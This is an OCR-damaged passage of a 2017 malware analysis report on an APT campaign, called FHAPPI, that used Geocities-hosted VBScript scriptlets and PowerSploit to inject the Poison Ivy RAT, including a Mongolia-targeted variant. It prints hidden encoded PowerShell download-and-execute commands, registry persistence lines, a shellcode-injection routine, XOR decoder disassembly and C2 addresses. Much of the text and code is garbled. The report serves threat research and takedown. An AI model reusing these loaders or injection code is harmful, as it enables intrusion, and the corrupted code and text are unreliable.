00000090 fa 85 eb ad Oe Of a5 1b fa 4b dd fc c9 co 1f dO ........ Kool
00000040 ¢9 a2 36 a5 of b8 ab 22 1d df 8c fe bd 38 24 21 ..6.0.." ..... 8%.
00000080 64 99 61 68 71 6c df d2 3d 08 23 bb 9e 9f b7 d5 d.ahgl.. =.#.....
000000CO d1 6f 14 3f 53 54 db 5e 0O 18 02 2d 63 45 Ob 14 .0.7?ST.A ...-CE..

000000D0 41 8e 2f 64 Ge ba af 7 dd bl fd 71 8d bc 9d ed A./dn..{ ...qg....
000D000ED b6 e6 9d 44 83 c1 01 69 5d e4 14 b0 ac 9F 05 9 ...D...7 J.......
000000F0 Od 5 2f 3a 94 23 ed b4 90 ec ee 7e o6 €8 8e 04 ../ 1. #.. .. .~....

00000100 d0O 15 00 00 de 70 32 5a 15 91 e0 Of 23 92 2d 83 ..... 2Z ... #. -
00000110 7d 10 b5 78 15 6b cf c2 «c6 ee dé 61 cf 35 11 a6 }..x E .d. 0.

00000120 8b af 82 db 12 39 ea c8 03 59 ec 10 2 b5 46 0e ..... 9.. .Y....F.
00000130 91 34 52 9e 77 eb 87 0b b9 6b Of €9 28 2d bc 00 .4R.w... .k.i(-..
00000140 dc 91 f2 ba 9a bb 76 35 dc 93 f6 f9 a1l 39 fc cO ...... vl ..., 9..
00000150 f5 0a 1a 88 9c 81 61 91 2f 68 a4 73 c0 1fF 32 cO ...... a. /h.s..2.
00000160 51 05 3e 42 a4 83 8a 5b 3d 19 80 10 e0 b7 9a 45 Q.>B...[ =...... E
00000170 3e 84 3d 1a fd d9 c7 87 3c 7a 08 b3 35 23 bd 2cC »>.=..... <Z..5#%.,
00000180 11 b7 4e 29 5a 2e 3f ea 7 6e 8b 73 28 el 5b 49 ..N)Z.7. .n.s(.[I
00000190 c3 c3 71 cd 35 94 88 da ea bl 9c 46 a5 b5 b0 44 ..g.5... ...F...D
00000140 7d d0 03 53 2f Oc 78 04 04 T2 2e 82 b4 12 56 b5 }..57.x. ...... V.
00000160 36 7b 21 67 32 65 05 b9 7 Ba ff al 37 cb 64 7c 6{!g2e.. G...7.d|
000001C0 13 52 35 6e fc 0a 34 d7 7 34 e3 a3 54 2c b9 5d .R5n..4. .4..T,.]
000001D0 &e SE 9a 6f z 42 fe 37 25 ea b0 a0 ﬁg 6a Eg e .[.U.E.? ,.;.MjY>

Poison Ivy: Poison Ivy also known as PIVY is a RAT (Remote Administration Tool) , its a back door style malware.
Many espionage related malware utilize this Poison Ivy kit in APT(Targeted Attacks)

7 . Conclusion

This APT campaign utilized many variants to falsely have the victim download a malicious VBScript , which then
downloaded a secondary staged attack .doc file and opening it. Behind this action it quietly executes a
PowerShell(PowerSploit) attack to infect the victims with Poison lvy into a process running in memory.

This was an unique instance where a modified PowerSploit PoC code was utilized in an APT infection and shows the
potential dangers of such an attack.
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Poison IVY malware is what was actually injected in the malicious process userinit.exe created or prepared by the
PowerSploit used shellcode. The concept of infection is fileless, it's avoiding known signature for detection by multiple
encodings and wraps, and it is also 100% avoiding the original attacker's working territory. This will make the current
APT campaignh has better chance of success other cases caused by similar payload.

This APT campaign utilized multiple accounts on Geocities Japan, leading to the possibility that there is a larger APT
campaign being conducted. The TPPs of this attack were the first to be recognized in Japan, and after discussing the
attack with my friends and fellow researchers we have named it “Free Hosting (pivoted) APT PowerSploit Poison Ivy”
(FHAPPI)

Credit: El Kentaro (FHAPPI Idea and logo, credit), Luffy, Syota Shinogi . Ino Yuji (credit) ++

To avoid further victims | really hope that the vbiayay1 account on Geocities.jp gets taken down quickly and the
malware deleted. | hope that this analysis can help in the investigation and the countering of this threat.

Also from the analysis | am certain that the Korean IP address 61.97.243.15 is a CNC for Poison lvy therefore
recommend blocking access to and from this IP.

| also have already contacted Gmail regarding the email sender , the following address were used:
1. wisers.data@gmail.com

2. health.pro.demo30®@&gmail.com

These accounts can be used in other APT campaigns, so | suggest blocking & start tracing these addresses.
I also hope that malware source codes and PoC are not shared in public.

8 . Sample

I’m still working on this , so | will only share the hashes for the samples.
| will add the VT URLs once | am done.

1.MD5 (Meeting sumX X .doc) = 0011fb4f42ee9d68c0£f2dc62562£53e0 =
2.MD5 (X X x0301.psl) = b862a2cfe8f79%dbb4eld39%e0cfcae3a T
3.MD5 (Meeting X X X .doc) = 0011fb4f42ee9d68c0£f2dc62562£53e0

4.MD5 (X X Xx0301.psl) = b862a2cfe8f79bdbb4eld39%e0cfcaela

5.MD5 (X X Xx0301.wsc) = 7c9689e015563410d331af9%1lelalbe8c

6.MD5 (shellcode-bin) = cb9%al99fc68daz233cec9d2£3d4deb081

7.MD5 (stupid-shellcode.exe) = 661d4e056c8c0f6804cac7ebtb24a79%ec

Other samples. (credit: Syota Shinogi)
MD5 (£0921.psl) = e798a7¢c33a58fc249965ac3del0fee6’b

L]

9 . Update.
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9 . 1 . Finding other Geocities accounts.

Thanks to Syota Shinogi’s help (credit) in further researching he found another Geocities Japan account.
It uses the same PowerSploit shell code and the .doc file was a document in Mongolian , possibly targeting users in or
related to Mongol.

Screen shot |

$ curl http://www.geocities, jp/|gxpoy6/f0921-6,sct
<ML version="T.U"7>
<scriptlet>

<registration
description="Empire”
progid="Empire”
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}™
>
<script language="VBScript™
<I[CDATAL

createob ject(“wscript.shel | ™). run “powershel |.exe -w hidden -ep bypass -Enc JABUADOAbgB|AHcAL QBvA(
AHQAOWANAAOAJABUACAACABY AGBAcABDADOAWWBOAGUAdAAUAF CAZOB | AF 1 AZOBxAHUAZ QB zAHQAXQAGAD0ARWB | AHQAUWBSAHMAAB | AGOAY
bwB4AHKAL gBDAHI AZOBKAGUAbgBOAGKAY QBsAHMAPQBbAE4AZQBOAC4 AQwBY AGUAZAB | AGAAdABPAGEALABDAGEAYwBoAGUAXQABADOARAB | A
AAoAJABUACAARABYAHCAbgBsAGBAYQBKAEY AaQBsAGUAKAA | AGgAJABOAHAADZ AvAC8 AdwB3AHCAL sBnAGUAbWB j AGKAdABPAGUACWAUAGOACH
dAB1AHMAJOBSACOALWBmMAGY AcwBoACOAME AwADE ANg AwADKAMOAA ACA AZ ABvAGMAAA | ACWA | gAKAGUAbgB2AD0AdAB | AGOACABCAGEAJOB 1A]
ADAAMQAZ ADAAQQAXADgAL gBKAGBAYwB4ACT AKOA7AADACEZBTAHOAYOBy AHQAL OBQAHI AbwB jAGUACWBZACAAT gAkAGUAbEB2ADOAdAB | AGOACH
Z8BzAGgAL QAyADAAMOAZADAAOQAXADgAL gBKAGBAYwB4AC I ADQAKAEKARCBYACAAJABUAC4AZ ABvAHCAbgBsAGBAYOBKAHMAJABY AGKAbgBnA(
AHQAaQB | AHMAL gBogAHAAL wBsAGcAeABWAGBABQAZACBAZgAwADKAMgAXACAACABZADEA JwApADSADOAKAA==", 0, TRUE

</registration>

Credit: Syota Shinogi
</seriptlet>$ date
Wed Mar 15 17:16:25 JST 2017
$ Screenshot: @unixfreaxjp
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(@ www.geocitiesjp/|

ww.geocitiesjp/Igupoyb/ht

— R DOKTCA [ ATV Fpo 2 Nl ] SCABTF L TeXhOAI0L UL 296 bR | el Ve XM v 2h
Opering huulin-tusl-ofsh 20160918 docx E= SRph 25052 [udGHVKIRAYH 0RO LI 721 T2 ZANOOHRKe: | wis Fcb )R035 EGHP Yo | YREZWec| Z2FOZSNC 1 A CAED0e
Vo ik chiseri s 2Hbe= 28k Z00KD0D0=800eNCK ) rZ5T NV U

e Set-ItenProperty "HKCU:¥oonsole¥” -Name FontSecurity ~Value $code;

which is: Word 2007 Document (16.0 KB) if ($isBd -or ([Swstem.Runtime.InteropServices Marshall::3ize0f ([TwpellIntPtr]) -eq 8))
from: httpi//wnv.geocitiesjp

What should Firefox do with this file? Start-Process -windowstyle Hidden -FilePath “Berwiwindi r¥syswounbd¥omd. exe” -Argumentlist ”
~execut ionpol icy bypass iex ([Text.Encodingl::ASCII.GetString([Convert ]: :FromBasef4St ring((ap "HKCU: ¥

© Openwith | bligsstWoidingicdmws isiant) = Set-ItenProperty "HKCU: ¥Sof tare¥M i crosof t ¥indows¥Cur rent Versi on¥Run¥” -Name Secur itylods
@ :SaveFile “Benv:windi résvenonbd ¥l ndowsPowerShe| | ¥v1.0¥ponershel | .exe -w hidden -ep Bvpass -nologo -noprofile ie
7] Do this automaticaly for files ke this fram now on ([Te?t : Encoding]: :ASCI1. GetString([Convert 1: :FromBasebdSt ring((zp "HECU: ¥console' ). FontSecurity) 1073
else
{

—— Start-Process -windowstyle Hidden -FilePath "$enwiwindir¥system32¥comd.exe” -ArgumentList ”

£ [ Concel | -execut ionpolicy bvpass iex ([Text.Encoding]::ASCIL. GetStrins([Convert]: :FromBaseb4String((ep "HKCU: ¥c

Set-ItemProrerty "HeCU: ¥Sof tware¥Microsof t¥Windows¥CurrentVersion¥Run¥” -Name SecuritylUeda

hidden -ep Bypass -nologo -noprofile iex ([Text.Encoding]::ASCII.GetString([Convert]: :FromBaseB4Strine

"HKCU: ¥corsole” ) . FontSecurity) ))7;
}

exedit: Syotashineg! screenshot: @unixfreaxjp

9 , 2 . File name contains the APT information

URL and attack campaign related information : |

http://www. geocities. ip/vbiayayl/
http://www.geocities.jp/vbiayay1/
|

0301). wsc!
0301f ps1l
0921f ps1l
0921f6.|sctl

HBEEOID HBORFF VI-AEE

http://www. geocities. ip/lgxpoyb/
http://www. geocities. ip/lgxpoy6/

This shows the attack date, target ID and some form of versioning/series type of information.
9 . 3 . The Deletion process of the APT malware files

With the help of the Yahoo Incident Response Division (YIRD) and JP-CERT/CC and other great security folks in Japan
the files was successfully deleted.

The following files were deleted. |
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[#R&] FHAPPI @)Lz 7URLANY J—T /3 geocitiesSADH—/\ZL
TERRRSNFEL, BRBRURLD —E | (FEREH)

hxxp://lwww.geocities .jp/vbiayay1/xxxxxx0301.wsc

&% BEAYORVITE (B—F vk FiE)

hxxp://'www.geocities .jp/vbiayay1/Meeting_summary.doc

BE: WEEEERITADDOCEH (B—Fuh - FE)
hxxp://www.geocities .jp/vbiayay1/xxxxxx0301.ps1

&% Poison lvy RAT RINA D7 DAV A—F5— (3—Fyb - FE)
hxxp://'www.geocities[.]jp/lgxpoy6/xxx0921-6.sct

E%E: BEAYORVYT (B—Fybk:EUTNL)
hxxp:/lwww.geocities|.]jp/Igxpoy6/huuliin-tusul-offsh-20160918.docx
B%E: WHEEZEI ADDOCEH (F—F vk ELT))
hxxp:/lwww.geocities|.]jp/lgxpoy6/xxx0921.ps1

&% Poison lvy RAT R/INA 7 DA A—F—(FT)L)

BE.EMOI7AILLRUERLEL. EFY]

hxxp[:]//www.geocities[.]jp/vbiayay1/xxxxxx0302.wsc
hxxp[:]//www.geocities[.]jp/vbiayay1/xxxxxx0303.wsc
hxxp[:]//www.geocities[.]jp/vbiayay1/xxxxxx0304.wsc
hxxp[:]//www.geocities[.]jp/vbiayay1/xxxxxx0315.wsc

%) Deletion confirmed time : 2017 March. 11th 10:00 am

thank you all for your help.

9 . 4 . FHAPPI Campaign targeting Mongol

The user Ilgxpoy6 | contains data for Mongolian APT target. The infection vector is the same, judging from the date it
started sometime in September of last year. Many artifacts and web sigs has gone or faded but, what the heck, so
lets analyze this too for the malware improvement comparison..

The first installer script was not obfuscated using base 64.

It utilizes VBscript but not encoded, and executes powershell.exe directly however the execution process itself is the
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same as the campaign explained in above. |

1|K?XML version="1.0"7>1
2|<scriptlet>!
3|4
4|<registration!
5 description="Empire”.
6 progid="Empire”l
7 version="1.00"1
g glassid="{20001111—OOOO—OOOO—OOOO—OOOOFEEDACDC}"i
1
10 {script language="VBScript”>.
}; <I[CDATAL!L
N
13 createobject ("wscript.shell”) . run “powershell.exe —w hidden —ep bypass —Enc JABuADOAbgBI|At

| AGMAdAAZAG4AZQOBOACAAdWB | AGIAYwBsAGkAZQBUAHQAOWANAAOAJABUACAACABYAGBAeABSADOAWWBOAGUAdAAUAFCAZOBi AFTA:
QAXQAG6ADoARWB | AHQAUwB5AHMAAAB | AGOAVWB | AGTAUABYAGBAeABSACZAKQATAAOACEAKAGAAL eBAAH T AbwB4AHKAL 2BDAHTAZQBI
0BsAHMAPQBbAE4AZQBOAC4AQwByAGUAZAB | AG4AdABpAGEADABDAGEAYwBoAGUAXQAGADOARAB | AGYAYQB1AGWAdABDAHTAZQBKAGL
AHMAOwANAAoAJABUAC4ARABVAHCAbgBsAGBAYABKAEYAaQBsAGUAKAA | AGgAdABOAHAAOgAVACSAdwB3AHCAL eBnAGUAbwB jAGKkAd!
AcAAvAGWAZwB4AHAAbWB5ADYALwBoAHUAdQBsAGkAaQBuACOAdABTAHMAAOBSACOAbWBmAGYAcwBoACOAMzAwADEANgAWADKAMQA4/
Ai ACwATgAkAGUAbgB2ADoAdAB | AGOACABCcAGEAdQB1AGwAaQBpAGAALQBOAHUACWB1AGWALQBVAGYAZgBzAGgALQAYADAAMQAZADA/
GBAYwB4ACTAKQA7TAAOAGgBTAHOAYQBYAHQALQBQAHIAbwB jAGUAcWBZzACAAT gAkAGUAbgB2ADoAdAB | AGOACABCcAGgAdOB1AGwAaQE
cwB1AGWALOBvAGYAZzBzAGzALQAYADAAMQA2ADAAOQAxADgAL gBkAGBAYwWBAAC I ADQAKAEKARGBYACAAJABUACAAZABVAHCAbgBSA(
yAGkAbgBnACgAJwBoAHQAdABwADOALwAVAHCAdwWB3AC4AZwWB [ AGBAYwBpAHQAaQB | AHMAL gBaAHAALwBsAGcAeABwAGBAeQA2ACSAL
4AcABzADEAJwAPADSADQAKAA==", 0, TRUE!.

&

11>
{/seript>l
{/registration>l
1

[ O —Y
WO~

1
{/scriptlet>[EOF]

The encode command executed by powershell.exe has the same format |

§ ./parse mongol-powershel | cmd

$n=new-cbject net.webclient;

$n.proxy=[Net,WebRequest]: :GetSystemWebProxy();

$n.Proxy.Credential s=[Net.CredentialCache]: :Defaul tCredentials;

$n.DownloadFile( " http: //www.geocities. jp/lgxpoy6/huul i in-tusul-of fsh-20160918,docx”™, "$env: temp¥huul i in-tusul-offsh-20160918.docx™);
Start-Process “$env:temp¥huul iin-tusul-offsh-20160918,docx”

[EX $n.downloadstring( http://www.geocities. jp/|gxpoy6/f0921.ps1’);

$
$

Mongolian Decoy Document |
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Tecen

MOHIOnN ¥YNCkIH X¥¥Nk

2016 oHbl .. gyraap YnaaxbaaTap
CapblH ...-Hbl B8A8p XoT

HUATUAH ANBAHO HUATUAH BONOH XYBWUWH ALLUI COHUPXNbIF
30XUUYYNAX, AWWI COHUPXNbIH 36PYNe6C YPLOYUNAH CIPTUANIX
TYXAW XYYNbO HAIM3NT, ©6PHUNSONT OPYYNAX TYXAMN

1 Oyrasp 3yAnHwituiiH anBaHg HUATWHEH GonoH XYBWAH awWr coHWMpXnbIr
3OXMUYYNaX, awWwur COHUPXNbIH 38pYNesc YpbAYWMaH C3Ipruinsx Tyxal xyyneg aoop
AYPACaH aryynratai syin HaMcyraii:

17101 gyraap aywn:

*107ayra3p 3ywn.Mafgaan yncbiH HyTar A3BCr3pT 6aHKHbI AaHC 333MWWX,
XYYNWiAH 3Tr33g 6airyynaxtai xonGoracoH XopurnonT

10" 1. ABnmrbiH 3Cpar Xyynbd 3aacHbl Aaryy XepeHre, OpPMorbiH M3gyynar
rapragar anbad TywaanTtad Hb anbad yypras ryidusTrax yegss ragaag yncblH HyTar
A3IBCrapT @epuiiH Hap O33p BaHKHbl AaHC HI3NM3X, MEHreH xepeHre Galipwyynax, Xyeb
HUMAYYN3X 3amMaap XyynuidH 3Tr338 yycrad Galryynaxeir XopurnoHo.

101.2 XonBorgox xyynwap Tortoocod Gonzon, wanryypblH Aaryy COHroragor
BonoH yr coHryynuiiH yp ayH4 ToMunoraox anbad Tywaang H3p A3BWurd TyxakH andax
Tywaang H3p A3Bwwxa33 xonborgox Baliryynnarag ragaaf yncblH HyTar g3BCrapT
eepWIH H3p A33p DaHkHbl A2HG HI3MM3C3H, MeHreH xepeHrs GadpluyyncaH, Xyeb
HUANYYN3X 3amaap XYYNUAH 3Trasg yycraH Dairyyncad 3C3XuiAr ypbeadmnaHd m3gsanasx
YYp2arTai.

Still uses PowerSploit to inject the malware into memory , no changes here. |

Save web pages as PDF with PDFmyURL


http://i.imgur.com/uPHouIb.png
https://pdfmyurl.com/save-as-pdf?src=pdf
https://pdfmyurl.com/?src=pdf

;; Eunction Local :Inject-LocalShel Icode!

¢
73 L
74 $Shel lcode = [System. Convert]: :FromBase64String ($Shellcode32) |
75 | en—
76 # Allocate RWX memory for the shellcode.
11 $BaseAddress = $VirtualAlloc. Invoke ([IntPtr]::Zero, $Shellcode. Length, 0x1000, 0x40) # (Reserve|Commit, RWX).
78 if (1$BaseAddress) |
79 [+
80 returnl
81 |
82 L
83 # Copy shellcode to RWX buffer.
gé [System.Runtime.InteropServices.MarshaI]:ZCopy($SheIIcode. 0, $BaseAddress, §Shellcode.Length) |
86 # Launch shellcode in it's own threadl
87 $ThreadHandle = §CreateThread. lnvoke([[ntPtr] :Zero, 0, $BaseAddress, [IntPtr]l::Zero, 0, [IntPtr]::
gg if (18ThreadHandle) |-

!
90 #Throw ‘Unable to launch thread. "/
91| > returnl
92 1
93|/
94 # Wait for shellcode thread to terminate!
gg SWa\tForS\nEIeObJect Invoke ($ThreadHandle, OxFFFFFFFF) L
97 #SV"rtualEregulnyokQ($CalIStubAddress $Cal|Stub, Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) !
98 #SVirtualFree, Invoke ($BaseAddress, $Shellcode. Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) |
99 #Write-Verbose "Shellcode injection complete!’ |
o
1

102|: . $Shellcode32 = "VnkDwerAXvnogyEAAIeChTx40dTUXwxVF5RHINRXbxrUINTUoeE8utHU1F8kvKRS INQ8DtHU1ISC!
103 | PMfSINRTJFE i oMOAvtS+1Dyn0dTUVRSIXJTURL7UvtQrAoc8HNbU1 16K jxeXprG1oLGAvKaxtbDU !
104 | INTUgV84VxBAh4KDPMLRINRTDFEP21Dn1dTUvABT INQ8rtHU1ISHPGFRINRf JLwwUSTUPLPR1NSE |
105|hzx00dTUXyy81FOU1DyAOdTUNIc8WdHU1F2RLLzcXJTUPJTRINSEhzyt0dTUXZEgvMhc INQ8+NHU
106 |1 ISHPLHR1NRdkSS85FyU1DzMOdTUR1c8hdHU1F2ROLyUXJTUPNDR1NSEhzzpOdTUXZESWZFAbpDU
107|1NQ8GADU1BORAJDUINSYESEQOdRZKQYEWZFARL 7TUvtS+0L7UvtS+1LyYXJTUPBbQINSEVtQrAIEUL
108 | oLy T LzUsNTUXSHYRL 7UXGENhCSDXnxRDECHUZE OhF-+R2 TRFKYERT+RDIOr g5 TS vkd b TwY .

A slightly different shell code design |
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[0x000000001>
[0x00000000]> x 55
-offset- 01 23 45 67 89 AB CD EF 0123456789ABCDEF
5679 03¢l eacO 5ef9 =883 21 87 8285 Vy....“...!
3c78 d1d4 d45f 0chbh 1794 4794 d457 6fla <x..
d4d4 d4d4 alel 3cha d1d4 d45f 24bc adh?
94d4 3cle d1d4 d4
[0x00000000]> pd @0x0199
56 esi
,=< 7903
| cleac0 shr edx, -0x40
T 5e pop esi
f9 stc
e88321 call 0x2190
8782853¢78d1  xchg dword [edx - 0x2e87c37b], eax
aam Oxd4
pop edi
or al, Oxbh
pop ss
¥xchg eax, esp
inc edi
xchg eax, esp
aam 0x57
dx, dword [esi]
sbb dl, ah
aam Oxd4
aam Oxal
0x63
bad1d4d4hHf mov edx, 0x5fd4d4ddl
Z24bc and al, Oxbc
ad movsh byte esi[edi], byte ptr [esi]
52 edx

The Mongolia related campaign also uses XOR but a different key “Oxd4” but the byte length is the same “0x2183”
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stc
pop eax
eax
pop edx
b98321 mov ecx, O0xZ183

8032d4 xor byte [edx], Oxd4
83c201 add edx, 1
83e901 sub ecx, 1

cmp ecx, 0

eax
and eax, Oxffffffff
cle
pop eax
call eax

The CNC is in the mainland of China, with the hostname(S) thattwillexpese-tater can be seen in screenshots in next

part)
— r"" — ~ I(\/
thk t ~—y S g 7
zbekistan
\ /;9“3“"" 116.193.154.28 Ao
kmenistan -
= S;fflzzx el $
\}J f T China South Korea
Afghanistan 5_,V)t
_r“f }/ \:/ . = Nk o
<~——-Pakmtan PN, % Bl
} /M ~ ngsltjg? - 2 l
S o NI
India e Mvanmayfr“Alﬁ
1an (Burn1a) o o
/\/‘\ s
Thailand, South
o deilhil } (\ AVietnam Philippines

IP/BGP Information: 116.193.154.28 | 116-193-154-28.pacswitch.net. | AS4766 | JIULINGQIHANG-CN | CN
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(Room 413, No.188, Dong Han Men Nan Lu, CHINA)

The Poison lvy version used in the Mongolia campaign is the same as the main analysis shown above that aims "other”

country.

955d f1 eb 1ced 582d cell
75 1850 8d85 8410 5077 9588

fd 61 ¢9c3 0f04 0800 5374 7562 5061
7468 1804 2800 534f 4654 5741 5245 5c43
6cb1 7373 6573 5cb8 7474 70bc 7368 656¢
6chbc 6170 656e 5c63 6f6d 6d61 6e64 5604
3500 536f 6674 7/61 7265 bcdd 6963 726f
736f 6674 bcdl 6374 6976 6520 5365 7475
705c 496e 7374 616c 6cbd 6420 436 6d70
6f6e 656e 7473 bScfa 0a20 0078 7878 7878
7878 7878 7878 1878 7878 /878 7818 7878
7878 7878 7878 7878 7878 7890 01aZ2 0032
3132 372e 302e 302e 3131 3237 2e30 Ze30
2e31 3132 372e 302e 302e 3131 3237 2230
2e30 2e31 3132 372e 302e 30Z2e 3130 3030
3030 0050 0032 3132 372e 302e 302e 3231
3237 2e30 2e30 2e32 3132 372e 302e 302e
3231 3237 2e30 2e30 2e32 3132 372e 302e
30Z2e 3230 3030 3030 0050 0032 3132 37Ze
302e 302e 3331 3237 2e30 2e30 2e33 3132
372e 302e 30Ze 3331 3237 2e30 2e30 Ze33
3132 372e 30Ze 302e 3330 3030 3030 0050

8c 0104 0002 cl 0204

45 010b 0076 6572 7369 6f6e 3230 3133
fb03 dcd4 ebed ebe? edel eded d4dd ddd4

ooV
X-..
D

...4a StubPa
th..(.SOFTWARE¥C
|asses¥http¥shel
| ¥open¥commandV.
5.Software¥Micro
soft¥Active Setu
p¥lnstal led Comp
onents¥.. .X0MXXX
XIOOOOOOOOKX
HOOOKHHAKK e e e o 2
127.0.0.1127.0.0
.1127.0.0.1127.0
.0.1127.0.0.1000
00.P.2127.0.0.21
27.0.0.2127.0.0.
2127.0.0.2127.0.
0.200000.P.2127.
0.0.3127.0.0.312
7.0.0.3127.0.0.3
127.0.0.300000.P

E.. version2013

The interesting part is the hostnames used in the Mongolia campaign were hardcoded two hostnames instead of one
(the main analysis APT is only have one hardcoded domains). However please see the template used, this version of
PIVY can contains up to 3 (three) hostnames (or IPs).
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83c0 0889 45e4 8bd7 83ea 08b9 1601 1520
8b45 eded adfe 8b4b e450 e8/8 fd

8b 45e8 5077 55f0 cb4d 7701 5377 doOf
b645 775f 5ebb 8beb 5dcZ 04 43 7265
6174 6546 696¢c 6541 0052 6561 6446 696¢
65 43 b6cbf 7365 4861 bebd 6cbd

47 6574 4669 6cbd 5369 7abd 0047 bcbf
6261 6c41 6cbe 6f63 0047 6c6f 6261 646
7265 65 30 3932 31

13 6572 7669 6365 Zebd 6963

71261 736f 6674 2d6f 6ebd 6472 6976 652e
6361 6d

68 656¢c 702e 676f 6167

6cbd 706c 7573 7570 706f 7274 2e63 b6fbd

68 656c 702e 676f
6f67 6¢bd 706c 7573 7570 706f 7274 2e63
6f6d

50 35
94 11 38 3838 3636 3631 3335

3739 0001 55 8bec 81c4 3010
6033 c08d bd84 f0 b9 7401 f3aa
33c0 8dbd 4010 b944 13 aac/

PS: Did you see what domains that was used? ;)

Hmm, okay, good, now we know exactly who is behind this attack..

#MalwareMustDie!

T
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Wed Mar 15 01:17:48 JST 2017 @unixfreaxjp / MalwareMustDie,NPO - Reversed and published the report
Thu Mar 15 05:42:14 JST 2017 @luffy(credit) corrected some Japanese wording in documentation. (thank you)
Fri Mar 17 00:48:30 JST 2017 @elkentaro translated the whole documents into English

%) PS: | might update this later with more material.
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